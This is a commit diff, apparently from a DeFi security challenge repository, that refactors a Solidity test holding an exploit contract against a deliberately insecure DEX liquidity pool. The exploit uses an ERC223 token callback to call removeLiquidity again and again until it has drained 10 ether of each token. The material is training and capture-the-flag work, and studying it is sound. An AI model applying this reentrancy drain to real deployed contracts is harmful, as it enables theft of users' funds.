Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit d33c767

Browse files
committed
Improve readability
1 parent ee3e297 commit d33c767

File tree

1 file changed

+8
-3
lines changed

1 file changed

+8
-3
lines changed

src/DeFiSecuritySummitStanford/InsecureDexLP/InsecureDexLPExploit.t.sol

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ contract InsecureDexLPExploitTest is Test {
3434
InsecureDexLPExploit exploit = new InsecureDexLPExploit();
3535
token0.transfer(address(exploit), 1 ether);
3636
token1.transfer(address(exploit), 1 ether);
37-
exploit.exploit(target, token0, token1);
37+
exploit.exploit(target);
3838

3939
vm.stopPrank();
4040
assertEq(token0.balanceOf(playerAddress), 10 ether, "Player should have 10 ether of token0");
@@ -48,8 +48,12 @@ contract InsecureDexLPExploit {
4848
uint256 totalRecieved = 0;
4949
bool underExploit = false;
5050

51-
function exploit(InsecureDexLP target, InSecureumToken token0, SimpleERC223Token token1) public {
51+
function exploit(InsecureDexLP target) external {
5252
underExploit = true;
53+
54+
IERC20 token0 = target.token0();
55+
IERC20 token1 = target.token1();
56+
5357
token0.approve(address(target), type(uint256).max);
5458
token1.approve(address(target), type(uint256).max);
5559

@@ -58,6 +62,7 @@ contract InsecureDexLPExploit {
5862

5963
token0.transfer(msg.sender, 10 ether);
6064
token1.transfer(msg.sender, 10 ether);
65+
6166
underExploit = false;
6267
}
6368

@@ -66,8 +71,8 @@ contract InsecureDexLPExploit {
6671
return;
6772
}
6873
totalRecieved += amount;
69-
InsecureDexLP target = InsecureDexLP(from);
7074
if (totalRecieved < 10 ether) {
75+
InsecureDexLP target = InsecureDexLP(from);
7176
target.removeLiquidity(target.balanceOf(address(this)));
7277
}
7378
}

0 commit comments

Comments
 (0)